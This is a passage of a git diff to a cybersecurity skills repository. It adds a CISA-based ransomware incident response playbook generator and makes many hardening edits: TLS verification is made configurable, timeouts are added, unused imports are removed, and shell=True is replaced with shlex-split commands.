maintain, and exercise a cyber incident response plan with ransomware annex", + "cisa_ref": "StopRansomware Guide Part 1, Section 2", + "priority": "Critical", + }, + "PREP-03": { + "control": "Network segmentation", + "description": "Implement network segmentation between IT, OT, and critical asset zones", + "cisa_ref": "StopRansomware Guide Part 1, Section 3", + "priority": "High", + }, + "PREP-04": { + "control": "Multi-factor authentication", + "description": "Enable MFA on all remote access, privileged accounts, and email", + "cisa_ref": "StopRansomware Guide Part 1, Section 4", + "priority": "Critical", + }, + "PREP-05": { + "control": "Endpoint detection and response", + "description": "Deploy EDR on all endpoints with automated response capabilities", + "cisa_ref": "StopRansomware Guide Part 1, Section 5", + "priority": "High", + }, + "PREP-06": { + "control": "RDP restrictions", + "description": "Disable or restrict RDP; require VPN with MFA for remote access", + "cisa_ref": "StopRansomware Guide Part 1, Section 6", + "priority": "Critical", + }, + "PREP-07": { + "control": "Patch management", + "description": "Apply patches within 48 hours for internet-facing systems, 30 days for internal", + "cisa_ref": "StopRansomware Guide Part 1, Section 7", + "priority": "High", + }, + "PREP-08": { + "control": "Email security", + "description": "Configure email filtering, disable macros by default, implement DMARC/DKIM/SPF", + "cisa_ref": "StopRansomware Guide Part 1, Section 8", + "priority": "High", + }, + "PREP-09": { + "control": "Application allowlisting", + "description": "Implement AppLocker or WDAC to restrict unauthorized executables", + "cisa_ref": "StopRansomware Guide Part 1, Section 9", + "priority": "Medium", + }, + "PREP-10": { + "control": "Security awareness training", + "description": "Conduct regular phishing simulation and security awareness training", + "cisa_ref": "StopRansomware Guide Part 1, Section 10", + "priority": "Medium", + }, +} + +RESPONSE_PHASES = { + "detection": { + "name": "Detection and Analysis", + "steps": [ + "Identify initial indicators (mass file renames, ransom notes, EDR alerts)", + "Take system images and memory captures of affected devices", + "Identify patient zero and initial access vector", + "Determine ransomware family using ID Ransomware or sample analysis", + "Assess encryption scope: systems, shares, data classification impacted", + "Check for data exfiltration indicators (double extortion)", + "Notify incident response team and escalate per IRP", + ], + "time_target": "0-2 hours", + }, + "containment": { + "name": "Containment", + "steps": [ + "Isolate affected systems (disable NIC, VLAN quarantine, firewall block)", + "If unable to disconnect, power down affected systems immediately", + "Disable shared drives and mapped network shares", + "Reset credentials for compromised and service accounts", + "Block known IOCs at firewall and proxy (C2 domains, IPs, hashes)", + "Preserve forensic evidence (do not wipe or rebuild yet)", + "Engage legal counsel for breach notification assessment", + "Activate out-of-band communication channel for response team", + ], + "time_target": "1-4 hours", + }, + "eradication": { + "name": "Eradication and Recovery", + "steps": [ + "Rebuild affected systems from known-clean images", + "Restore data from verified offline backups", + "Reset ALL domain passwords including krbtgt (twice, 12h apart)", + "Scan restored systems with updated AV and EDR before reconnection", + "Re-enable services in priority order (DC/DNS first, then business apps)", + "Monitor restored systems for 72 hours for reinfection signals", + "Validate data integrity of restored files against known checksums", + ], + "time_target": "1-7 days", + }, + "post_incident": { + "name": "Post-Incident Activity", + "steps": [ + "Conduct root cause analysis with full incident timeline", + "Document lessons learned with all response team stakeholders", + "Update incident response playbook based on findings", + "Implement new controls to address identified gaps", + "File regulatory notifications within required timeframes", + "Report to CISA at report.cisa.gov and FBI at ic3.gov", + "Schedule follow-up review in 30, 60, and 90 days", + ], + "time_target": "1-4 weeks", + }, +} + + +def assess_readiness(current_controls): + """Assess ransomware readiness against CISA checklist.""" + results = {"total_controls": len(CISA_PREPARATION_CHECKLIST), "implemented": 0, + "gaps": [], "score": 0.0, "details": []} + + for ctrl_id, ctrl in CISA_PREPARATION_CHECKLIST.items(): + status = current_controls.get(ctrl_id, "not_implemented") + is_implemented = status in ("implemented", "partial") + if is_implemented: + results["implemented"] += 1 + else: + results["gaps"].append({ + "id": ctrl_id, + "control": ctrl["control"], + "priority": ctrl["priority"], + "cisa_ref": ctrl["cisa_ref"], + }) + results["details"].append({ + "id": ctrl_id, + "control": ctrl["control"], + "status": status, + "priority": ctrl["priority"], + }) + + results["score"] = round( + (results["implemented"] / results["total_controls"]) * 100, 1 + ) + return results + + +def generate_playbook(org_name="Organization"): + """Generate a full ransomware response playbook.""" + playbook = { + "title": f"Ransomware Incident Response Playbook - {org_name}", + "framework": "CISA StopRansomware Guide + NIST CSF", + "version": "1.0", + "generated": datetime.now().isoformat(), + "preparation": CISA_PREPARATION_CHECKLIST, + "response_phases": RESPONSE_PHASES, + "escalation_matrix": { + "severity_1_critical": { + "criteria": "Encryption active, spreading across network, critical systems affected", + "notify": ["CISO", "CEO", "Legal Counsel", "External IR Firm", "CISA", "FBI"], + "response_time": "Immediate", + }, + "severity_2_high": { + "criteria": "Encryption contained to single segment, no critical systems affected", + "notify": ["CISO", "IT Director", "Legal Counsel"], + "response_time": "Within 1 hour", + }, + "severity_3_medium": { + "criteria": "Ransomware detected but not yet executed (pre-encryption)", + "notify": ["SOC Manager", "IT Director"], + "response_time": "Within 4 hours", + }, + }, + "communication_plan": { + "internal": "Use out-of-band channel (Signal, phone tree) - assume email compromised", + "external_stakeholders": "Prepared holding statement; legal review before public disclosure", + "regulatory": "GDPR 72h, HIPAA 60d, SEC 4 business days, state-specific breach laws", + "cisa_reporting": "Report to report.cisa.gov within 24 hours", + }, + } + return playbook + + +def generate_markdown_playbook(playbook): + """Render playbook as Markdown document.""" + lines = [f"# {playbook['title']}", "", f"**Framework:** {playbook['framework']}", + f"**Version:** {playbook['version']}", f"**Generated:** {playbook['generated']}", ""] + + lines.append("## Preparation Checklist (CISA Part 1)") + lines.append("") + for ctrl_id, ctrl in playbook["preparation"].items(): + lines.append(f"- [ ] **{ctrl_id}**: {ctrl['control']} - {ctrl['description']} " + f"[{ctrl['priority']}]") + lines.append("") + + lines.append("## Response Phases (CISA Part 2)") + lines.append("") + for phase_id, phase in playbook["response_phases"].items(): + lines.append(f"### {phase['name']} (Target: {phase['time_target']})") + lines.append("") + for i, step in enumerate(phase["steps"], 1): + lines.append(f"{i}. {step}") + lines.append("") + + lines.append("## Escalation Matrix") + lines.append("") + for sev, details in playbook["escalation_matrix"].items(): + lines.append(f"### {sev.replace('_', ' ').title()}") + lines.append(f"- **Criteria:** {details['criteria']}") + lines.append(f"- **Notify:** {', '.join(details['notify'])}") + lines.append(f"- **Response Time:** {details['response_time']}") + lines.append("") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("=" * 60) + print("CISA Ransomware Playbook Builder Agent") + print("Playbook generation and readiness assessment") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage:") + print(" python agent.py generate [org_name] Generate playbook") + print(" python agent.py assess Assess readiness") + print(" python agent.py checklist Print CISA checklist") + sys.exit(0) + + command = sys.argv[1] + + if command == "generate": + org = sys.argv[2] if len(sys.argv) > 2 else "Organization" + playbook = generate_playbook(org) + md = generate_markdown_playbook(playbook) + output_file = f"ransomware_playbook_{org.lower().replace(' ', '_')}.md" + with open(output_file, "w") as f: + f.write(md) + print(f"\n[+] Playbook generated: {output_file}") + print(f"[+] Contains {len(CISA_PREPARATION_CHECKLIST)} preparation controls") + print(f"[+] Contains {len(RESPONSE_PHASES)} response phases") + print(f"\n{md[:500]}...") + + elif command == "assess": + if len(sys.argv) < 3: + print("[!] Provide a JSON file with current control statuses") + print(' Format: {"PREP-01": "implemented", "PREP-02": "not_implemented", ...}') + sys.exit(1) + with open(sys.argv[2]) as f: + controls = json.load(f) + results = assess_readiness(controls) + print(f"\n--- Ransomware Readiness Assessment ---") + print(f" Score: {results['score']}% ({results['implemented']}/{results['total_controls']})") + if results["gaps"]: + print(f"\n Critical Gaps:") + for gap in results["gaps"]: + print(f" [{gap['priority']}] {gap['id']}: {gap['control']}") + print(f"\n{json.dumps(results, indent=2)}") + + elif command == "checklist": + print("\n--- CISA Ransomware Preparation Checklist ---") + for ctrl_id, ctrl in CISA_PREPARATION_CHECKLIST.items(): + print(f" [{ctrl['priority']:8s}] {ctrl_id}: {ctrl['control']}") + print(f" {ctrl['description']}") + else: + print(f"[!] Unknown command: {command}") diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py b/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py index 55943a3f..557c87c3 100644 --- a/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py +++ b/skills/building-red-team-c2-infrastructure-with-havoc/scripts/agent.py @@ -7,7 +7,6 @@ import json import logging import argparse -import subprocess from datetime import datetime import requests diff --git a/skills/building-role-mining-for-rbac-optimization/SKILL.md b/skills/building-role-mining-for-rbac-optimization/SKILL.md index 74899c25..7a10a440 100644 --- a/skills/building-role-mining-for-rbac-optimization/SKILL.md +++ b/skills/building-role-mining-for-rbac-optimization/SKILL.md @@ -52,7 +52,7 @@ Role mining is the process of analyzing existing user-permission assignments to | Weighted Structural Complexity (WSC) | Sum of role-user + role-permission assignments | Minimize | | Deviation | Extra permissions not covered by assigned roles | < 5% | -## Implementation Steps +## Workflow ### Step 1: Extract User-Permission Data diff --git a/skills/building-soc-metrics-and-kpi-tracking/scripts/agent.py b/skills/building-soc-metrics-and-kpi-tracking/scripts/agent.py index 1be89695..fda23028 100644 --- a/skills/building-soc-metrics-and-kpi-tracking/scripts/agent.py +++ b/skills/building-soc-metrics-and-kpi-tracking/scripts/agent.py @@ -2,17 +2,18 @@ """SOC Metrics and KPI Tracking Agent - Collects and reports SOC performance metrics.""" import json +import os import time import logging import argparse -from datetime import datetime, timedelta +from datetime import datetime import requests logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) -SPLUNK_BASE = "https://localhost:8089" +SPLUNK_BASE = os.environ.get("SPLUNK_URL", "https://localhost:8089") HEADERS = {"Content-Type": "application/json"} @@ -21,7 +22,8 @@ def authenticate_splunk(base_url, username, password): resp = requests.post( f"{base_url}/services/auth/login", data={"username": username, "password": password}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) resp.raise_for_status() session_key = resp.json()["sessionKey"] @@ -41,7 +43,8 @@ def run_splunk_search(base_url, headers, query, earliest="-30d", latest="now"): f"{base_url}/services/search/jobs", headers=headers, data=search_body, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) resp.raise_for_status() sid = resp.json()["sid"] @@ -51,7 +54,8 @@ def run_splunk_search(base_url, headers, query, earliest="-30d", latest="now"): f"{base_url}/services/search/jobs/{sid}", headers=headers, params={"output_mode": "json"}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ).json() if status["entry"][0]["content"]["isDone"]: break @@ -61,7 +65,8 @@ def run_splunk_search(base_url, headers, query, earliest="-30d", latest="now"): f"{base_url}/services/search/jobs/{sid}/results", headers=headers, params={"output_mode": "json", "count": 0}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ).json() return results.get("results", []) diff --git a/skills/building-soc-playbook-for-ransomware/scripts/agent.py b/skills/building-soc-playbook-for-ransomware/scripts/agent.py index 726d4226..e3b4c2c4 100644 --- a/skills/building-soc-playbook-for-ransomware/scripts/agent.py +++ b/skills/building-soc-playbook-for-ransomware/scripts/agent.py @@ -3,6 +3,7 @@ import json import logging +import os import argparse import hashlib from datetime import datetime @@ -76,7 +77,8 @@ def search_iocs_splunk(splunk_url, session_key, ioc_list): f"{splunk_url}/services/search/jobs", headers={"Authorization": f"Splunk {session_key}"}, data={"search": f"search {query}", "output_mode": "json"}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) return resp.json() diff --git a/skills/building-threat-actor-profile-from-osint/SKILL.md b/skills/building-threat-actor-profile-from-osint/SKILL.md index 87aae9ff..a82e810c 100644 --- a/skills/building-threat-actor-profile-from-osint/SKILL.md +++ b/skills/building-threat-actor-profile-from-osint/SKILL.md @@ -37,7 +37,7 @@ Profiling uses the Diamond Model (adversary, infrastructure, capability, victim) A complete threat actor profile includes: aliases and naming conventions across vendors, suspected origin and sponsorship, motivation (espionage, financial, hacktivism, disruption), targeted sectors and geographies, known campaigns and operations, TTPs mapped to ATT&CK, toolset and malware families, infrastructure patterns, and historical timeline. -## Practical Steps +## Workflow ### Step 1: Collect Intelligence from Multiple Sources diff --git a/skills/building-threat-feed-aggregation-with-misp/SKILL.md b/skills/building-threat-feed-aggregation-with-misp/SKILL.md index f72818bf..83bbb45a 100644 --- a/skills/building-threat-feed-aggregation-with-misp/SKILL.md +++ b/skills/building-threat-feed-aggregation-with-misp/SKILL.md @@ -36,7 +36,7 @@ MISP supports three feed formats: MISP format (native JSON events), CSV (comma-s MISP instances can synchronize with other MISP instances via push/pull mechanisms. Sharing groups control distribution (organization only, this community, connected communities, all communities). The TAXII server module enables integration with STIX/TAXII consumers. -## Practical Steps +## Workflow ### Step 1: Deploy MISP with Docker @@ -265,7 +265,8 @@ class MISPSIEMExporter: } resp = requests.post( f"{splunk_url}/services/collector/event", - headers=headers, json=event, verify=False, + headers=headers, json=event, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) if resp.status_code == 200: exported += 1 diff --git a/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py b/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py index 169bcd36..363abcff 100644 --- a/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py +++ b/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py @@ -3,8 +3,9 @@ import json import logging +import os import argparse -from datetime import datetime, timedelta +from datetime import datetime from collections import defaultdict import requests @@ -19,9 +20,9 @@ def misp_request(url, key, endpoint, method="GET", data=None): full_url = f"{url}/{endpoint}" try: if method == "GET": - resp = requests.get(full_url, headers=headers, timeout=30, verify=False) + resp = requests.get(full_url, headers=headers, timeout=30, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments else: - resp = requests.post(full_url, headers=headers, json=data or {}, timeout=30, verify=False) + resp = requests.post(full_url, headers=headers, json=data or {}, timeout=30, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() except requests.RequestException as e: diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py b/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py index f9da6f02..fceaa01f 100644 --- a/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py +++ b/skills/building-threat-intelligence-enrichment-in-splunk/scripts/agent.py @@ -5,10 +5,8 @@ Manages threat intel lookups, KV store collections, and modular inputs for enriching Splunk events with IOC context from MISP, OTX, and CSV feeds. """ -import sys import json import csv -import os import datetime import io diff --git a/skills/building-threat-intelligence-feed-integration/SKILL.md b/skills/building-threat-intelligence-feed-integration/SKILL.md index 1ab41b4e..222f63be 100644 --- a/skills/building-threat-intelligence-feed-integration/SKILL.md +++ b/skills/building-threat-intelligence-feed-integration/SKILL.md @@ -221,7 +221,8 @@ for indicator in unique_indicators: requests.post( f"{splunk_url}/services/data/threat_intel/item/ip_intel", - headers=headers, data=data, verify=False + headers=headers, data=data, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) ``` diff --git a/skills/building-threat-intelligence-feed-integration/scripts/agent.py b/skills/building-threat-intelligence-feed-integration/scripts/agent.py index 6b463d27..4e2e4e52 100644 --- a/skills/building-threat-intelligence-feed-integration/scripts/agent.py +++ b/skills/building-threat-intelligence-feed-integration/scripts/agent.py @@ -3,12 +3,13 @@ import json import logging +import os import argparse import hashlib from datetime import datetime, timedelta import requests -from taxii2client.v21 import Server, Collection +from taxii2client.v21 import Collection from stix2 import Indicator, Bundle, parse logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") @@ -125,7 +126,9 @@ def push_to_splunk_ti(splunk_url, session_key, indicators): data = {"ip": ioc["value"], "description": f"{ioc.get('source')}: {ioc['value']}"} resp = requests.post( f"{splunk_url}/services/data/threat_intel/item/ip_intel", - headers=headers, data=data, verify=False, + headers=headers, data=data, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) if resp.status_code == 201: pushed += 1 diff --git a/skills/building-threat-intelligence-platform/SKILL.md b/skills/building-threat-intelligence-platform/SKILL.md index 8dd73a3d..28508135 100644 --- a/skills/building-threat-intelligence-platform/SKILL.md +++ b/skills/building-threat-intelligence-platform/SKILL.md @@ -39,7 +39,7 @@ Building a Threat Intelligence Platform (TIP) involves deploying and integrating - **TheHive <-> Cortex**: Automated analysis and enrichment of case observables - **All <-> SIEM**: Real-time IOC push to Splunk/Elastic via API or Kafka -## Practical Steps +## Workflow ### Step 1: Deploy Platform with Docker Compose diff --git a/skills/building-threat-intelligence-platform/scripts/agent.py b/skills/building-threat-intelligence-platform/scripts/agent.py index 836b9ad2..32764090 100644 --- a/skills/building-threat-intelligence-platform/scripts/agent.py +++ b/skills/building-threat-intelligence-platform/scripts/agent.py @@ -5,10 +5,8 @@ Core TIP components: STIX/TAXII ingestion, indicator lifecycle management, confidence scoring, sharing groups, and intelligence dissemination. """ -import sys import json import datetime -import hashlib import re import uuid diff --git a/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md b/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md index a7071147..21da3d88 100644 --- a/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md +++ b/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md @@ -54,7 +54,7 @@ With over 30,000 new vulnerabilities identified in 2024 (a 17% increase from the | Remediation Velocity | Vulns closed per week | Trending upward | | Exception Rate | (Exceptions / Total vulns) * 100 | < 5% | -## Implementation Steps +## Workflow ### Step 1: Define SLA Policy Document diff --git a/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py b/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py index 8f994cf6..b3399880 100644 --- a/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py +++ b/skills/building-vulnerability-aging-and-sla-tracking/scripts/agent.py @@ -5,7 +5,6 @@ Tracks vulnerability remediation timelines, calculates SLA compliance, generates aging reports, and identifies overdue items by severity. """ -import sys import json import datetime import collections diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py b/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py index 0725c8cb..cc8e6b5c 100644 --- a/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py +++ b/skills/building-vulnerability-dashboard-with-defectdojo/scripts/agent.py @@ -5,7 +5,6 @@ Queries DefectDojo REST API v2 for findings, products, and engagements to build vulnerability management dashboards and metrics. """ -import sys import json import datetime import os diff --git a/skills/building-vulnerability-exception-tracking-system/scripts/agent.py b/skills/building-vulnerability-exception-tracking-system/scripts/agent.py index f98e9905..bb013c96 100644 --- a/skills/building-vulnerability-exception-tracking-system/scripts/agent.py +++ b/skills/building-vulnerability-exception-tracking-system/scripts/agent.py @@ -6,7 +6,6 @@ remediated within SLA, including approval chains, expiration tracking, and compensating control documentation. """ -import sys import json import datetime import uuid diff --git a/skills/building-vulnerability-scanning-workflow/SKILL.md b/skills/building-vulnerability-scanning-workflow/SKILL.md index 8ec221d8..5ba7d9ae 100644 --- a/skills/building-vulnerability-scanning-workflow/SKILL.md +++ b/skills/building-vulnerability-scanning-workflow/SKILL.md @@ -78,7 +78,8 @@ policy = { } } -response = requests.post(f"{nessus_url}/scans", headers=headers, json=policy, verify=False) +response = requests.post(f"{nessus_url}/scans", headers=headers, json=policy, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments scan_id = response.json()["scan"]["id"] print(f"Scan created: ID {scan_id}") ``` @@ -120,7 +121,7 @@ response = requests.get( f"{nessus_url}/scans/{scan_id}/export", headers=headers, params={"format": "csv"}, - verify=False + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) # Parse and prioritize diff --git a/skills/building-vulnerability-scanning-workflow/scripts/agent.py b/skills/building-vulnerability-scanning-workflow/scripts/agent.py index 4b3fc5c8..b8b27b2e 100644 --- a/skills/building-vulnerability-scanning-workflow/scripts/agent.py +++ b/skills/building-vulnerability-scanning-workflow/scripts/agent.py @@ -3,6 +3,7 @@ import json import logging +import os import argparse from datetime import datetime @@ -60,14 +61,16 @@ def launch_nessus_scan(nessus_url, api_keys, scan_name, targets): }, } resp = requests.post( - f"{nessus_url}/scans", headers=headers, json=scan_config, verify=False, timeout=30 + f"{nessus_url}/scans", headers=headers, json=scan_config, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30 # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) resp.raise_for_status() scan_id = resp.json()["scan"]["id"] logger.info("Nessus scan created: ID %d", scan_id) requests.post( - f"{nessus_url}/scans/{scan_id}/launch", headers=headers, verify=False, timeout=30 + f"{nessus_url}/scans/{scan_id}/launch", headers=headers, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30 # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) logger.info("Nessus scan %d launched", scan_id) return scan_id diff --git a/skills/bypassing-authentication-with-forced-browsing/scripts/agent.py b/skills/bypassing-authentication-with-forced-browsing/scripts/agent.py index bef27a19..b6577a2a 100644 --- a/skills/bypassing-authentication-with-forced-browsing/scripts/agent.py +++ b/skills/bypassing-authentication-with-forced-browsing/scripts/agent.py @@ -5,6 +5,7 @@ import json import logging import argparse +from datetime import datetime from urllib.parse import urljoin import requests @@ -137,7 +138,7 @@ def check_sensitive_files(base_url): def generate_report(findings, method_results, sensitive_files): """Generate pentest finding report for forced browsing results.""" report = { - "timestamp": __import__("datetime").datetime.utcnow().isoformat(), + "timestamp": datetime.utcnow().isoformat(), "total_endpoints_found": len(findings), "auth_bypass_candidates": [f for f in findings if f.get("auth_bypass")], "accessible_without_auth": [f for f in findings if f["unauth_status"] == 200], diff --git a/skills/collecting-indicators-of-compromise/scripts/agent.py b/skills/collecting-indicators-of-compromise/scripts/agent.py index 39afdd6e..7829cd73 100644 --- a/skills/collecting-indicators-of-compromise/scripts/agent.py +++ b/skills/collecting-indicators-of-compromise/scripts/agent.py @@ -3,7 +3,6 @@ import json import re -import hashlib import logging import argparse from datetime import datetime diff --git a/skills/collecting-threat-intelligence-with-misp/SKILL.md b/skills/collecting-threat-intelligence-with-misp/SKILL.md index 5fe2be70..44be0731 100644 --- a/skills/collecting-threat-intelligence-with-misp/SKILL.md +++ b/skills/collecting-threat-intelligence-with-misp/SKILL.md @@ -39,7 +39,7 @@ MISP operates on an event-based model where threat intelligence is organized int PyMISP is the official Python library to access MISP platforms via their REST API. It supports fetching events, adding/updating events and attributes, uploading samples, and searching across the entire MISP dataset. Authentication uses an API key passed in the `Authorization` header. -## Practical Steps +## Workflow ### Step 1: Deploy MISP with Docker diff --git a/skills/collecting-threat-intelligence-with-misp/scripts/agent.py b/skills/collecting-threat-intelligence-with-misp/scripts/agent.py index a1ac7968..b319eb40 100644 --- a/skills/collecting-threat-intelligence-with-misp/scripts/agent.py +++ b/skills/collecting-threat-intelligence-with-misp/scripts/agent.py @@ -5,13 +5,12 @@ Connects to MISP instances to collect, filter, and export threat intelligence including events, attributes, and feeds via the PyMISP REST API client. """ -import sys import json import os import datetime try: - from pymisp import PyMISP, MISPEvent, MISPAttribute + from pymisp import PyMISP HAS_PYMISP = True except ImportError: HAS_PYMISP = False diff --git a/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py b/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py index cb6d9dca..4acf7af5 100644 --- a/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py +++ b/skills/collecting-volatile-evidence-from-compromised-host/scripts/agent.py @@ -11,6 +11,7 @@ import json import os import datetime import subprocess +import shlex import platform import hashlib @@ -35,10 +36,17 @@ VOLATILITY_ORDER = [ {"priority": 9, "source": "logged_users", "description": "Currently logged-in users", "tool_linux": "w", "tool_windows": "query user"}, {"priority": 10, "source": "scheduled_tasks", "description": "Scheduled tasks and cron jobs", - "tool_linux": "crontab -l; ls /etc/cron.d/", "tool_windows": "schtasks /query /FO CSV /V"}, + "tool_linux": ["crontab -l", "ls /etc/cron.d/"], "tool_windows": "schtasks /query /FO CSV /V"}, ] +def _run_single_cmd(cmd_str, timeout=60): + """Run a single command string without shell, return stdout and stderr.""" + return subprocess.run( + shlex.split(cmd_str), capture_output=True, text=True, timeout=timeout + ) + + def collect_artifact(source_config, output_dir): """Collect a single volatile artifact.""" is_windows = platform.system() == "Windows" @@ -49,15 +57,29 @@ def collect_artifact(source_config, output_dir): result = { "source": source_name, "priority": source_config["priority"], - "command": cmd, + "command": cmd if isinstance(cmd, str) else "; ".join(cmd), "timestamp": datetime.datetime.utcnow().isoformat() + "Z", "status": "pending", } try: - proc = subprocess.run( - cmd, shell=True, capture_output=True, text=True, timeout=60 - ) + # Run multiple commands sequentially if cmd is a list, combining output + if isinstance(cmd, list): + combined_stdout = "" + combined_stderr = "" + last_rc = 0 + for sub_cmd in cmd: + sub_proc = _run_single_cmd(sub_cmd, timeout=60) + combined_stdout += sub_proc.stdout + combined_stderr += sub_proc.stderr + last_rc = sub_proc.returncode + proc = type("CombinedResult", (), { + "stdout": combined_stdout, + "stderr": combined_stderr, + "returncode": last_rc, + })() + else: + proc = _run_single_cmd(cmd, timeout=60) result["status"] = "collected" result["output_lines"] = len(proc.stdout.splitlines()) result["output_file"] = output_file diff --git a/skills/conducting-api-security-testing/scripts/agent.py b/skills/conducting-api-security-testing/scripts/agent.py index 9ace5292..017454b1 100644 --- a/skills/conducting-api-security-testing/scripts/agent.py +++ b/skills/conducting-api-security-testing/scripts/agent.py @@ -5,6 +5,7 @@ import json import logging import argparse +from datetime import datetime from urllib.parse import urljoin import requests @@ -184,7 +185,7 @@ def generate_report(findings): """Generate API security testing report.""" critical = [f for f in findings if f.get("vulnerable")] report = { - "timestamp": __import__("datetime").datetime.utcnow().isoformat(), + "timestamp": datetime.utcnow().isoformat(), "total_tests": len(findings), "vulnerabilities_found": len(critical), "findings": findings, diff --git a/skills/conducting-cloud-incident-response/scripts/agent.py b/skills/conducting-cloud-incident-response/scripts/agent.py index 4e5851b7..d11ee085 100644 --- a/skills/conducting-cloud-incident-response/scripts/agent.py +++ b/skills/conducting-cloud-incident-response/scripts/agent.py @@ -7,7 +7,6 @@ import argparse import subprocess from datetime import datetime, timedelta -import requests logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) @@ -21,7 +20,7 @@ def aws_disable_access_key(username, access_key_id): "--access-key-id", access_key_id, "--status", "Inactive", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: logger.info("Disabled access key %s for user %s", access_key_id, username) else: @@ -36,7 +35,7 @@ def aws_attach_deny_all(username): "--user-name", username, "--policy-arn", "arn:aws:iam::aws:policy/AWSDenyAll", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: logger.info("Attached AWSDenyAll to user %s", username) return result.returncode == 0 @@ -49,7 +48,7 @@ def aws_isolate_ec2(instance_id, forensic_sg): "--instance-id", instance_id, "--groups", forensic_sg, ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: logger.info("Isolated EC2 %s with security group %s", instance_id, forensic_sg) return result.returncode == 0 @@ -63,7 +62,7 @@ def aws_snapshot_ebs(instance_id): "--query", "Volumes[*].VolumeId", "--output", "text", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) volume_ids = result.stdout.strip().split() snapshots = [] for vol_id in volume_ids: @@ -72,7 +71,7 @@ def aws_snapshot_ebs(instance_id): "--volume-id", vol_id, "--description", f"IR evidence - {instance_id} - {datetime.utcnow().isoformat()}", ] - snap_result = subprocess.run(snap_cmd, capture_output=True, text=True) + snap_result = subprocess.run(snap_cmd, capture_output=True, text=True, timeout=120) if snap_result.returncode == 0: snap_data = json.loads(snap_result.stdout) snapshots.append(snap_data.get("SnapshotId")) @@ -89,7 +88,7 @@ def aws_query_cloudtrail(username, hours_back=24): "--start-time", start_time, "--output", "json", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode == 0: events = json.loads(result.stdout).get("Events", []) logger.info("CloudTrail: %d events for user %s in last %d hours", len(events), username, hours_back) @@ -120,7 +119,7 @@ def aws_list_attacker_resources(username, events): def aws_check_all_regions_instances(): """Check all AWS regions for unauthorized EC2 instances.""" cmd = ["aws", "ec2", "describe-regions", "--query", "Regions[*].RegionName", "--output", "text"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) regions = result.stdout.strip().split() all_instances = {} for region in regions: @@ -130,7 +129,7 @@ def aws_check_all_regions_instances(): "--query", 